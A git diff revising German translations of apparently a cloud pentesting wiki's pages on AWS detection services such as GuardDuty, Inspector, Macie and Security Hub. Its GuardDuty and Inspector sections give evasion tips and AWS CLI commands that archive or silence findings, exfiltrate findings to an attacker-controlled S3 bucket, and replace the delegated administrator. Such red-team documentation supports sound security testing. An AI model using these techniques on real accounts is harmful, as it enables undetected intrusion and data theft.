@@ -50,15 +50,15 @@ Zugriff auf eine Liste aller GuardDuty-Erkenntnisse unter: [https://docs.aws.ama ### Mehrere Konten -#### Auf Einladung +#### Nach Einladung Sie können **andere Konten** zu einem anderen AWS GuardDuty-Konto einladen, sodass **jedes Konto von demselben GuardDuty überwacht wird**. Das Master-Konto muss die Mitgliedskonten einladen, und dann muss der Vertreter des Mitgliedskontos die Einladung annehmen. #### Über Organisation -Sie können jedes Konto innerhalb der Organisation als **GuardDuty-Delegiertenadministrator** benennen. Nur das Organisationsverwaltungs-Konto kann einen delegierten Administrator benennen. +Sie können jedes Konto innerhalb der Organisation als **delegierten Administrator für GuardDuty** benennen. Nur das Organisationsverwaltungs-Konto kann einen delegierten Administrator benennen. -Ein Konto, das als delegierter Administrator benannt wird, wird zu einem GuardDuty-Administratorkonto, hat GuardDuty automatisch in der benannten AWS-Region aktiviert und hat auch die **Berechtigung, GuardDuty für alle Konten in der Organisation innerhalb dieser Region zu aktivieren und zu verwalten**. Die anderen Konten in der Organisation können als GuardDuty-Mitgliedskonten, die mit diesem delegierten Administratorkonto verbunden sind, angezeigt und hinzugefügt werden. +Ein Konto, das als delegierter Administrator benannt wird, wird zu einem GuardDuty-Administratorkonto, hat GuardDuty automatisch in der benannten AWS-Region aktiviert und hat auch die **Berechtigung, GuardDuty für alle Konten in der Organisation innerhalb dieser Region zu aktivieren und zu verwalten**. Die anderen Konten in der Organisation können als GuardDuty-Mitgliedskonten angezeigt und hinzugefügt werden, die mit diesem delegierten Administratorkonto verbunden sind. ## Enumeration ```bash @@ -108,13 +108,13 @@ Versuchen Sie, so viel wie möglich über das Verhalten der Anmeldeinformationen - Zeiten, zu denen sie verwendet werden - Standorte -- Benutzeragenten / Dienste (es könnte von awscli, webconsole, lambda... verwendet werden) +- Benutzeragenten / Dienste (Es könnte von awscli, webconsole, lambda... verwendet werden) - Regelmäßig verwendete Berechtigungen -Mit diesen Informationen, versuchen Sie, das gleiche Szenario so gut wie möglich nachzustellen, um den Zugriff zu nutzen: +Mit diesen Informationen rekonstruieren Sie so viel wie möglich dasselbe Szenario, um den Zugriff zu nutzen: -- Wenn es sich um einen **Benutzer oder eine Rolle handelt, die von einem Benutzer zugegriffen wird**, versuchen Sie, es zur gleichen Zeit, von der gleichen Geolokation (sogar vom gleichen ISP und IP, wenn möglich) zu verwenden -- Wenn es sich um eine **Rolle handelt, die von einem Dienst verwendet wird**, erstellen Sie denselben Dienst in derselben Region und verwenden Sie ihn von dort aus in denselben Zeitbereichen +- Wenn es sich um einen **Benutzer oder eine Rolle handelt, auf die ein Benutzer zugreift**, versuchen Sie, es zur gleichen Zeit, von derselben Geolokation (wenn möglich sogar vom selben ISP und IP) zu verwenden +- Wenn es sich um eine **Rolle handelt, die von einem Dienst verwendet wird**, erstellen Sie denselben Dienst in derselben Region und verwenden Sie ihn von dort aus in denselben Zeiträumen - Versuchen Sie immer, die **gleichen Berechtigungen** zu verwenden, die dieser Principal verwendet hat - Wenn Sie **andere Berechtigungen verwenden oder eine Berechtigung missbrauchen** müssen (zum Beispiel, 1.000.000 CloudTrail-Protokolldateien herunterladen), tun Sie dies **langsam** und mit der **minimalen Anzahl an Interaktionen** mit AWS (awscli ruft manchmal mehrere Lese-APIs vor der Schreib-API auf) @@ -129,7 +129,7 @@ aws guardduty update-detector --detector-id --data-sources S3Logs= ``` #### `guardduty:CreateFilter` -Angreifer mit dieser Berechtigung haben die Möglichkeit, **Filter für die automatische** Archivierung von Ergebnissen zu verwenden: +Angreifer mit dieser Berechtigung haben die Möglichkeit, **Filter für die automatische** Archivierung von Ergebnissen einzusetzen: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` @@ -141,7 +141,7 @@ aws guardduty update-ip-set --detector-id --activate --ip-set-id < ``` #### `guardduty:DeletePublishingDestination` -Angreifer könnten das Ziel entfernen, um Alarmierungen zu verhindern: +Angreifer könnten das Ziel entfernen, um Warnungen zu verhindern: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` @@ -150,9 +150,9 @@ aws guardduty delete-publishing-destination --detector-id --destin ### Beispiele für spezifische Findings-Bypässe -Beachten Sie, dass es Dutzende von GuardDuty-Findings gibt, jedoch **werden nicht alle von ihnen Sie als Red Teamer betreffen**, und was noch besser ist, Sie haben die **vollständige Dokumentation zu jedem von ihnen** unter [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), also werfen Sie einen Blick darauf, bevor Sie Maßnahmen ergreifen, um nicht erwischt zu werden. +Beachten Sie, dass es Dutzende von GuardDuty-Findings gibt, jedoch **werden nicht alle von ihnen Sie als Red Teamer betreffen**, und was besser ist, Sie haben die **vollständige Dokumentation zu jedem von ihnen** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), also werfen Sie einen Blick darauf, bevor Sie Maßnahmen ergreifen, um nicht erwischt zu werden. -Hier sind ein paar Beispiele für spezifische GuardDuty-Findings-Bypässe: +Hier haben Sie ein paar Beispiele für spezifische GuardDuty-Findings-Bypässe: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) @@ -160,16 +160,16 @@ GuardDuty erkennt AWS API-Anfragen von gängigen Penetrationstest-Tools und lös Es wird durch den **User-Agent-Namen** erkannt, der in der API-Anfrage übergeben wird.\ Daher ist es **möglich, den User-Agent zu ändern**, um zu verhindern, dass GuardDuty den Angriff erkennt. -Um dies zu verhindern, können Sie im Skript `session.py` im `botocore`-Paket nachsehen und den User-Agent ändern oder Burp Suite als AWS CLI-Proxy einrichten und den User-Agent mit MitM ändern oder einfach ein Betriebssystem wie Ubuntu, Mac oder Windows verwenden, um zu verhindern, dass dieser Alarm ausgelöst wird. +Um dies zu verhindern, können Sie im Skript `session.py` im `botocore`-Paket nach dem User-Agent suchen und ihn ändern oder Burp Suite als AWS CLI-Proxy einrichten und den User-Agent mit MitM ändern oder einfach ein Betriebssystem wie Ubuntu, Mac oder Windows verwenden, um zu verhindern, dass dieser Alarm ausgelöst wird. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Das Extrahieren von EC2-Anmeldeinformationen aus dem Metadatenservice und **deren Nutzung außerhalb** der AWS-Umgebung aktiviert den [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) Alarm. Im Gegensatz dazu löst die Verwendung dieser Anmeldeinformationen von Ihrer EC2-Instanz den [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) Alarm aus. Dennoch **bleibt die Verwendung der Anmeldeinformationen auf einer anderen kompromittierten EC2-Instanz innerhalb desselben Kontos unentdeckt**, ohne einen Alarm auszulösen. +Das Extrahieren von EC2-Anmeldeinformationen aus dem Metadatenservice und **deren Nutzung außerhalb** der AWS-Umgebung aktiviert den [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) Alarm. Im Gegensatz dazu löst die Verwendung dieser Anmeldeinformationen von Ihrer EC2-Instanz den [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) Alarm aus. Dennoch **geht die Verwendung der Anmeldeinformationen auf einer anderen kompromittierten EC2-Instanz innerhalb desselben Kontos unentdeckt**, ohne einen Alarm auszulösen. > [!TIP] -> Daher **verwenden Sie die exfiltrierten Anmeldeinformationen von innerhalb der Maschine**, in der Sie sie gefunden haben, um diesen Alarm nicht auszulösen. +> Daher **verwenden Sie die exfiltrierten Anmeldeinformationen von innerhalb der Maschine**, wo Sie sie gefunden haben, um diesen Alarm nicht auszulösen. -## References +## Referenzen - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 1441a3119..a4520b755 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -26,17 +26,17 @@ Findings werden auch in die folgenden drei Typen kategorisiert: #### Filters and Suppression Rules -Filter und Unterdrückungsregeln in Amazon Inspector helfen dabei, Findings zu verwalten und zu priorisieren. Filter ermöglichen es Ihnen, Findings basierend auf bestimmten Kriterien wie Schweregrad oder Ressourcentyp zu verfeinern. Unterdrückungsregeln ermöglichen es Ihnen, bestimmte Findings zu unterdrücken, die als geringes Risiko gelten, bereits gemindert wurden oder aus anderen wichtigen Gründen, um zu verhindern, dass sie Ihre Sicherheitsberichte überladen und Ihnen zu ermöglichen, sich auf kritischere Probleme zu konzentrieren. +Filter und Unterdrückungsregeln in Amazon Inspector helfen, Findings zu verwalten und zu priorisieren. Filter ermöglichen es Ihnen, Findings basierend auf bestimmten Kriterien wie Schweregrad oder Ressourcentyp zu verfeinern. Unterdrückungsregeln ermöglichen es Ihnen, bestimmte Findings zu unterdrücken, die als geringes Risiko gelten, bereits gemindert wurden oder aus anderen wichtigen Gründen, um zu verhindern, dass sie Ihre Sicherheitsberichte überladen und Ihnen zu ermöglichen, sich auf kritischere Probleme zu konzentrieren. #### Software Bill of Materials (SBOM) -Eine Software Bill of Materials (SBOM) in Amazon Inspector ist eine exportierbare verschachtelte Inventarliste, die alle Komponenten innerhalb eines Softwarepakets, einschließlich Bibliotheken und Abhängigkeiten, detailliert auflistet. SBOMs helfen, Transparenz in der Software-Lieferkette zu schaffen, was ein besseres Schwachstellenmanagement und die Einhaltung von Vorschriften ermöglicht. Sie sind entscheidend für die Identifizierung und Minderung von Risiken, die mit Open-Source- und Drittanbieter-Softwarekomponenten verbunden sind. +Eine Software Bill of Materials (SBOM) in Amazon Inspector ist eine exportierbare verschachtelte Inventarliste, die alle Komponenten innerhalb eines Softwarepakets, einschließlich Bibliotheken und Abhängigkeiten, detailliert. SBOMs helfen, Transparenz in die Software-Lieferkette zu bringen, was ein besseres Schwachstellenmanagement und Compliance ermöglicht. Sie sind entscheidend für die Identifizierung und Minderung von Risiken, die mit Open-Source- und Drittanbieter-Softwarekomponenten verbunden sind. ### Key features #### Export findings -Amazon Inspector bietet die Möglichkeit, Findings in Amazon S3 Buckets, Amazon EventBridge und AWS Security Hub zu exportieren, was es Ihnen ermöglicht, detaillierte Berichte über identifizierte Schwachstellen und Aussetzungen für eine weitere Analyse oder zum Teilen zu einem bestimmten Datum und Uhrzeit zu erstellen. Diese Funktion unterstützt verschiedene Ausgabeformate wie CSV und JSON, was die Integration mit anderen Tools und Systemen erleichtert. Die Exportfunktionalität ermöglicht die Anpassung der in den Berichten enthaltenen Daten, sodass Sie Findings basierend auf bestimmten Kriterien wie Schweregrad, Ressourcentyp oder Datumsbereich filtern und standardmäßig alle Ihre Findings in der aktuellen AWS-Region mit einem aktiven Status einbeziehen können. +Amazon Inspector bietet die Möglichkeit, Findings in Amazon S3 Buckets, Amazon EventBridge und AWS Security Hub zu exportieren, was es Ihnen ermöglicht, detaillierte Berichte über identifizierte Schwachstellen und Aussetzungen für eine weitere Analyse oder zum Teilen zu einem bestimmten Datum und Uhrzeit zu erstellen. Diese Funktion unterstützt verschiedene Ausgabeformate wie CSV und JSON, was die Integration mit anderen Tools und Systemen erleichtert. Die Exportfunktionalität ermöglicht die Anpassung der in den Berichten enthaltenen Daten, sodass Sie Findings basierend auf bestimmten Kriterien wie Schweregrad, Ressourcentyp oder Datumsbereich filtern und standardmäßig alle Ihre Findings im aktuellen AWS-Region mit einem aktiven Status einbeziehen können. Beim Exportieren von Findings ist ein Key Management Service (KMS)-Schlüssel erforderlich, um die Daten während des Exports zu verschlüsseln. KMS-Schlüssel stellen sicher, dass die exportierten Findings vor unbefugtem Zugriff geschützt sind und bieten eine zusätzliche Sicherheitsebene für sensible Schwachstelleninformationen. @@ -50,9 +50,9 @@ Amazon Inspector bietet robuste Scanfunktionen für Amazon EC2-Instanzen, um Sch Der Scanmodus bestimmt, welche Methode verwendet wird, um EC2-Scans durchzuführen: - **Agentenbasiert**: Beinhaltet die Installation des SSM-Agenten auf EC2-Instanzen für eine tiefgehende Inspektion. -- **Hybrides Scannen**: Kombiniert sowohl agentenbasierte als auch agentenlose Methoden, um die Abdeckung zu maximieren und die Auswirkungen auf die Leistung zu minimieren. In den EC2-Instanzen, in denen der SSM-Agent installiert ist, führt Inspector einen agentenbasierten Scan durch, und für diejenigen, in denen kein SSM-Agent vorhanden ist, wird der durchgeführte Scan agentenlos sein. +- **Hybrides Scannen**: Kombiniert sowohl agentenbasierte als auch agentenlose Methoden, um die Abdeckung zu maximieren und die Leistungseinbußen zu minimieren. In den EC2-Instanzen, auf denen der SSM-Agent installiert ist, führt Inspector einen agentenbasierten Scan durch, und für diejenigen, auf denen kein SSM-Agent vorhanden ist, wird der durchgeführte Scan agentenlos sein. -Ein weiteres wichtiges Merkmal ist die **tiefgehende Inspektion** für EC2-Linux-Instanzen. Diese Funktion bietet eine gründliche Analyse der Software und Konfiguration von EC2-Linux-Instanzen und liefert detaillierte Schwachstellenbewertungen, einschließlich Schwachstellen im Betriebssystem, Anwendungs-Schwachstellen und Fehlkonfigurationen, um eine umfassende Sicherheitsbewertung sicherzustellen. Dies wird durch die Inspektion von **benutzerdefinierten Pfaden** und allen seinen Unterverzeichnissen erreicht. Standardmäßig scannt Amazon Inspector Folgendes, aber jedes Mitgliedskonto kann bis zu 5 weitere benutzerdefinierte Pfade definieren, und jeder delegierte Administrator bis zu 10: +Ein weiteres wichtiges Merkmal ist die **tiefgehende Inspektion** für EC2-Linux-Instanzen. Diese Funktion bietet eine gründliche Analyse der Software und Konfiguration von EC2-Linux-Instanzen und liefert detaillierte Schwachstellenbewertungen, einschließlich Schwachstellen im Betriebssystem, Anwendungsschwachstellen und Fehlkonfigurationen, um eine umfassende Sicherheitsbewertung sicherzustellen. Dies wird durch die Inspektion von **benutzerdefinierten Pfaden** und allen seinen Unterverzeichnissen erreicht. Standardmäßig scannt Amazon Inspector Folgendes, aber jedes Mitgliedskonto kann bis zu 5 weitere benutzerdefinierte Pfade definieren, und jeder delegierte Administrator bis zu 10: - `/usr/lib` - `/usr/lib64` @@ -70,12 +70,12 @@ Amazon Inspector bietet robuste Scanfunktionen für Amazon Elastic Container Reg Amazon Inspector umfasst umfassende Scanfunktionen für AWS Lambda-Funktionen und deren Schichten, um die Sicherheit und Integrität von serverlosen Anwendungen zu gewährleisten. Inspector bietet zwei Arten von Scans für Lambda-Funktionen: -- **Lambda Standard-Scanning**: Diese Standardfunktion identifiziert Software-Schwachstellen in den Anwendungs-Paketabhängigkeiten, die zu Ihrer Lambda-Funktion und den Schichten hinzugefügt wurden. Wenn Ihre Funktion beispielsweise eine Version einer Bibliothek wie python-jwt mit einer bekannten Schwachstelle verwendet, wird ein Finding generiert. -- **Lambda Code-Scanning**: Analysiert benutzerdefinierten Anwendungscode auf Sicherheitsprobleme und erkennt Schwachstellen wie Injektionsfehler, Datenlecks, schwache Kryptografie und fehlende Verschlüsselung. Es erfasst Code-Snippets, die erkannte Schwachstellen hervorheben, wie z. B. hardcodierte Anmeldeinformationen. Findings enthalten detaillierte Vorschläge zur Behebung und Code-Snippets zur Behebung der Probleme. +- **Lambda-Standard-Scanning**: Diese Standardfunktion identifiziert Software-Schwachstellen in den Anwendungs-Paketabhängigkeiten, die zu Ihrer Lambda-Funktion und den Schichten hinzugefügt wurden. Wenn Ihre Funktion beispielsweise eine Version einer Bibliothek wie python-jwt mit einer bekannten Schwachstelle verwendet, wird ein Finding generiert. +- **Lambda-Code-Scanning**: Analysiert benutzerdefinierten Anwendungscode auf Sicherheitsprobleme und erkennt Schwachstellen wie Injektionsfehler, Datenlecks, schwache Kryptografie und fehlende Verschlüsselung. Es erfasst Code-Snippets, die erkannte Schwachstellen hervorheben, wie z. B. hardcodierte Anmeldeinformationen. Findings enthalten detaillierte Vorschläge zur Behebung und Code-Snippets zur Behebung der Probleme. #### **Center for Internet Security (CIS) scans** -Amazon Inspector umfasst CIS-Scans, um die Betriebssysteme von Amazon EC2-Instanzen mit den Best-Practice-Empfehlungen des Center for Internet Security (CIS) zu benchmarken. Diese Scans stellen sicher, dass die Konfigurationen den branchenüblichen Sicherheitsstandards entsprechen. +Amazon Inspector umfasst CIS-Scans, um die Betriebssysteme von Amazon EC2-Instanzen mit den Best-Practice-Empfehlungen des Center for Internet Security (CIS) zu benchmarken. Diese Scans stellen sicher, dass die Konfigurationen den branchenüblichen Sicherheitsgrundlagen entsprechen. - **Konfiguration**: CIS-Scans bewerten, ob die Systemkonfigurationen bestimmten CIS-Benchmark-Empfehlungen entsprechen, wobei jeder Check mit einer CIS-Check-ID und einem Titel verknüpft ist. - **Ausführung**: Scans werden basierend auf Instanz-Tags und definierten Zeitplänen durchgeführt oder geplant. @@ -200,7 +200,7 @@ aws inspector2 create-sbom-report --report-format --s ``` Das folgende Beispiel zeigt, wie man alle aktiven Befunde von Amazon Inspector in einen von einem Angreifer kontrollierten Amazon S3-Bucket mit einem von einem Angreifer kontrollierten Amazon KMS-Schlüssel exfiltriert: -1. **Erstellen Sie einen Amazon S3-Bucket** und fügen Sie eine Richtlinie hinzu, damit er vom Opfer Amazon Inspector zugänglich ist: +1. **Erstellen Sie einen Amazon S3-Bucket** und fügen Sie eine Richtlinie hinzu, damit er vom Opfer-Amazon Inspector zugänglich ist: ```json { "Version": "2012-10-17", @@ -257,7 +257,7 @@ Das folgende Beispiel zeigt, wie man alle aktiven Befunde von Amazon Inspector i ] } ``` -3. Führen Sie den Befehl aus, um den **Bericht über die Ergebnisse** zu erstellen und ihn exfiltrieren: +3. Führen Sie den Befehl aus, um den **Bericht über die Ergebnisse** zu erstellen und ihn zu exfiltrieren: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -292,12 +292,12 @@ aws inspector2 delete-filter --arn Ein Angreifer könnte die Sicherheitsmanagementstruktur erheblich stören. - Durch Deaktivierung des delegierten Administratorkontos könnte der Angreifer das Sicherheitsteam daran hindern, auf die Amazon Inspector-Einstellungen und -Berichte zuzugreifen und diese zu verwalten. -- Die Aktivierung eines unbefugten Administratorkontos würde es einem Angreifer ermöglichen, Sicherheitskonfigurationen zu steuern, möglicherweise Scans zu deaktivieren oder Einstellungen zu ändern, um böswillige Aktivitäten zu verbergen. +- Die Aktivierung eines unbefugten Administratorkontos würde es einem Angreifer ermöglichen, Sicherheitskonfigurationen zu kontrollieren, möglicherweise Scans zu deaktivieren oder Einstellungen zu ändern, um böswillige Aktivitäten zu verbergen. > [!WARNING] > Es ist erforderlich, dass das unbefugte Konto in derselben Organisation wie das Opfer ist, um der delegierte Administrator zu werden. > -> Damit das unbefugte Konto der delegierte Administrator werden kann, ist es auch erforderlich, dass nach der Deaktivierung des legitimen delegierten Administrators und bevor das unbefugte Konto als delegierter Administrator aktiviert wird, der legitime Administrator aus der Organisation als delegierter Administrator abgemeldet wird. Dies kann mit dem folgenden Befehl durchgeführt werden (**`organizations:DeregisterDelegatedAdministrator`** Berechtigung erforderlich): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> Damit das unbefugte Konto der delegierte Administrator werden kann, ist es auch erforderlich, dass nach der Deaktivierung des legitimen delegierten Administrators und bevor das unbefugte Konto als delegierter Administrator aktiviert wird, der legitime Administrator als delegierter Administrator aus der Organisation abgemeldet wird. Dies kann mit dem folgenden Befehl durchgeführt werden (**`organizations:DeregisterDelegatedAdministrator`** Berechtigung erforderlich): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 35a1c6d61..42059943f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -10,11 +10,11 @@ Amazon Macie hebt sich als ein Dienst hervor, der **automatisch Daten innerhalb Wichtige Funktionen von Amazon Macie: -1. **Aktive Datenüberprüfung**: Nutzt maschinelles Lernen, um Daten aktiv zu überprüfen, während verschiedene Aktionen im AWS-Konto stattfinden. -2. **Anomalieerkennung**: Identifiziert unregelmäßige Aktivitäten oder Zugriffsverhalten und generiert Alarme, um potenzielle Risiken für die Datensicherheit zu mindern. +1. **Aktive Datenüberprüfung**: Nutzt maschinelles Lernen, um Daten aktiv zu überprüfen, während verschiedene Aktionen innerhalb des AWS-Kontos stattfinden. +2. **Anomalieerkennung**: Identifiziert unregelmäßige Aktivitäten oder Zugriffsverhalten und generiert Alarme, um potenzielle Risiken der Datenexposition zu mindern. 3. **Kontinuierliche Überwachung**: Überwacht und erkennt automatisch neue Daten in Amazon S3 und verwendet maschinelles Lernen und künstliche Intelligenz, um sich im Laufe der Zeit an Zugriffsverhalten anzupassen. -4. **Datenklassifizierung mit NLP**: Nutzt natürliche Sprachverarbeitung (NLP), um verschiedene Datentypen zu klassifizieren und zu interpretieren, wobei Risikopunkte zugewiesen werden, um Ergebnisse zu priorisieren. -5. **Sicherheitsüberwachung**: Identifiziert sicherheitsrelevante Daten, einschließlich API-Schlüssel, geheime Schlüssel und persönliche Informationen, um Datenlecks zu verhindern. +4. **Datenklassifizierung mit NLP**: Nutzt die Verarbeitung natürlicher Sprache (NLP), um verschiedene Datentypen zu klassifizieren und zu interpretieren, wobei Risikopunkte zugewiesen werden, um Ergebnisse zu priorisieren. +5. **Sicherheitsüberwachung**: Identifiziert sicherheitsrelevante Daten, einschließlich API-Schlüssel, geheimer Schlüssel und persönlicher Informationen, um Datenlecks zu verhindern. Amazon Macie ist ein **regionaler Dienst** und erfordert die IAM-Rolle 'AWSMacieServiceCustomerSetupRole' sowie einen aktivierten AWS CloudTrail für die Funktionalität. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index fe961a1ef..ab5e9ec05 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** sammelt Sicherheits-**daten** aus **verschiedenen AWS-Konten**, Diensten und unterstützten Produkten von Drittanbietern und hilft Ihnen, Ihre **Sicherheit**-Trends zu analysieren und die wichtigsten Sicherheitsprobleme zu identifizieren. +**Security Hub** sammelt Sicherheits-**daten** aus **verschiedenen AWS-Konten**, Diensten und unterstützten Produkten von Drittanbietern und hilft Ihnen, Ihre Sicherheits**trends** zu analysieren und die wichtigsten Sicherheitsprobleme zu identifizieren. Es **zentralisiert sicherheitsbezogene Warnungen über Konten hinweg** und bietet eine Benutzeroberfläche zur Anzeige dieser. Die größte Einschränkung ist, dass es **Warnungen nicht über Regionen hinweg zentralisiert**, sondern nur über Konten. @@ -17,8 +17,8 @@ Es **zentralisiert sicherheitsbezogene Warnungen über Konten hinweg** und biete - Config - Inspector - Macie -- Drittanbieter -- selbstgeneriert gegen CIS-Standards +- Drittanbietern +- selbstgeneriert gemäß CIS-Standards ## Enumeration ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index c713486fc..d946f1fe0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,9 +6,9 @@ AWS Shield wurde entwickelt, um **Ihre Infrastruktur gegen verteilte Denial-of-Service-Angriffe** zu **schützen**, die allgemein als DDoS bekannt sind. -**AWS Shield Standard** ist **kostenlos** für alle und bietet **DDoS-Schutz** gegen einige der häufigeren Angriffe der Schicht drei, der **Netzwerkschicht**, und der Schicht vier, der **Transportschicht**. Dieser Schutz ist in CloudFront und Route 53 integriert. +**AWS Shield Standard** ist **kostenlos** für alle und bietet **DDoS-Schutz** gegen einige der häufigeren Angriffe der Schicht drei, der **Netzwerkschicht**, und Schicht vier, der **Transportschicht**. Dieser Schutz ist in CloudFront und Route 53 integriert. -**AWS Shield Advanced** bietet ein **höheres Maß an Schutz** vor DDoS-Angriffen über einen breiteren Umfang von AWS-Diensten gegen eine zusätzliche Gebühr. Dieses erweiterte Niveau bietet Schutz für Ihre Webanwendungen, die auf EC2, CloudFront, ELB und auch Route 53 laufen. Neben diesen zusätzlichen geschützten Ressourcentypen werden im Vergleich zu Standard verbesserte DDoS-Schutzmaßnahmen angeboten. Und Sie haben auch **Zugang zu einem spezialisierten DDoS-Reaktionsteam bei AWS, bekannt als DRT, das rund um die Uhr verfügbar ist**. +**AWS Shield Advanced** bietet ein **höheres Schutzniveau** für DDoS-Angriffe über einen breiteren Umfang von AWS-Diensten gegen eine zusätzliche Gebühr. Dieses erweiterte Niveau bietet Schutz für Ihre Webanwendungen, die auf EC2, CloudFront, ELB und auch Route 53 laufen. Neben diesen zusätzlichen geschützten Ressourcentypen werden im Vergleich zu Standard verbesserte DDoS-Schutzstufen angeboten. Und Sie haben auch **Zugang zu einem spezialisierten DDoS-Reaktionsteam bei AWS, bekannt als DRT, das rund um die Uhr verfügbar ist**. Während die Standardversion von Shield Schutz gegen Schicht drei und Schicht vier bot, **bietet Advanced auch Schutz gegen Schicht sieben, Anwendungsangriffe.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 99e265af9..588c14b95 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,7 +6,7 @@ ## AWS Trusted Advisor Übersicht -Trusted Advisor ist ein Dienst, der **Empfehlungen bereitstellt**, um Ihr AWS-Konto zu optimieren und sich an **AWS-Best-Practices** auszurichten. Es handelt sich um einen Dienst, der in mehreren Regionen tätig ist. Trusted Advisor bietet Einblicke in vier Hauptkategorien: +Trusted Advisor ist ein Dienst, der **Empfehlungen** zur Optimierung Ihres AWS-Kontos bereitstellt, die mit **AWS Best Practices** übereinstimmen. Es handelt sich um einen Dienst, der über mehrere Regionen hinweg arbeitet. Trusted Advisor bietet Einblicke in vier Hauptkategorien: 1. **Kostenoptimierung:** Schlägt vor, wie Ressourcen umstrukturiert werden können, um Ausgaben zu reduzieren. 2. **Leistung:** Identifiziert potenzielle Leistungsengpässe. @@ -21,7 +21,7 @@ Die umfassenden Funktionen von Trusted Advisor sind ausschließlich mit **AWS Bu - Elemente können von seinen Prüfungen ausgeschlossen werden. - Daten werden alle 24 Stunden aktualisiert. Eine manuelle Aktualisierung ist jedoch 5 Minuten nach der letzten Aktualisierung möglich. -### **Prüfungen Aufschlüsselung** +### **Prüfungsübersicht** #### KategorienKern @@ -30,7 +30,7 @@ Die umfassenden Funktionen von Trusted Advisor sind ausschließlich mit **AWS Bu 3. Fehlertoleranz 4. Leistung 5. Dienstgrenzen -6. S3-Bucket-Berechtigungen +6. S3 Bucket Berechtigungen #### Kernprüfungen diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 92d947dd4..112c005cc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,11 +6,11 @@ ## AWS WAF -AWS WAF ist eine **Webanwendungsfirewall**, die entwickelt wurde, um **Webanwendungen oder APIs** vor verschiedenen Web-Exploits zu schützen, die ihre Verfügbarkeit, Sicherheit oder Ressourcennutzung beeinträchtigen können. Sie ermöglicht es Benutzern, den eingehenden Datenverkehr zu steuern, indem sie **Sicherheitsregeln** festlegen, die typische Angriffsvektoren wie SQL-Injection oder 